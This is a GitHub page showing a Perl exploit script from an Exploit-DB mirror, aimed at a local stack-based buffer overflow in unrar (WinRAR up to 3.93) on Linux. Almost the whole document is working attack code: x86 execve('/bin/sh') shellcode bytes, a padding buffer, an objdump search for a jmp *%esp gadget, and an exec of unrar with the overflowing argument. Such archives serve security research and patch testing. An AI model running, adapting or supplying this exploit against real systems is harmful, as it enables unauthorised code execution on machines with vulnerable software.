exploit-database/platforms/linux/local/17611.pl at master · securitywarrior/exploit-database · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/perl
=head1	TITLE

Winrar <= v3.93 Local Stack-based Overflow exploit


=head2 DESCRIPTION

This script triggers a buffer overflow attack against Unrar, the linux popular version of WinRar extractor.
It was not developped to bypass non-executing stack patches.
Have phun

=head2 AUTHORS

ZadYree ~~ 3LRVS Team - Low Level Languages Reversing Vxing Security


=head2 Tested ON

Linux Debian 6. May work on FreeBSD.

=head3 THANKS

kmkz
regol
hellpast
Hebiko
m_101
ZadYree

SNCF
The one who sent me that locked .rar
=cut
use 5.010;

# Shellcode: execve("/bin/sh") => http://www.shell-storm.org/shellcode/files/shellcode-752.php
use constant SHELLCODE => 	"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f" .
				"\x73\x68\x68\x2f\x62\x69\x6e\x89" .
				"\xe3\xb0\x0b\xcd\x80";
use constant BUFF => ('-' . ('3lrvs' x 820));
##


$pname = "/usr/bin/unrar";

die "[-]File $pname does not exist!\012" unless (-e $pname);

say "[*]Looking for jmp *%esp gadget...";

for my $line(qx{objdump -D $pname | grep "ff e4"}) {
	$esp = "0" . $1, last if ($line =~ m{([a-f0-9]{7}).+jmp\s{4}\*%esp});
}

say '[+]Jump to $esp found! (0x', $esp, ")\012[+]Now exploiting...";
sleep(1);

my @payload = ($pname, (BUFF . pack("V", hex($esp)) . SHELLCODE . "\012"));

exec(@payload);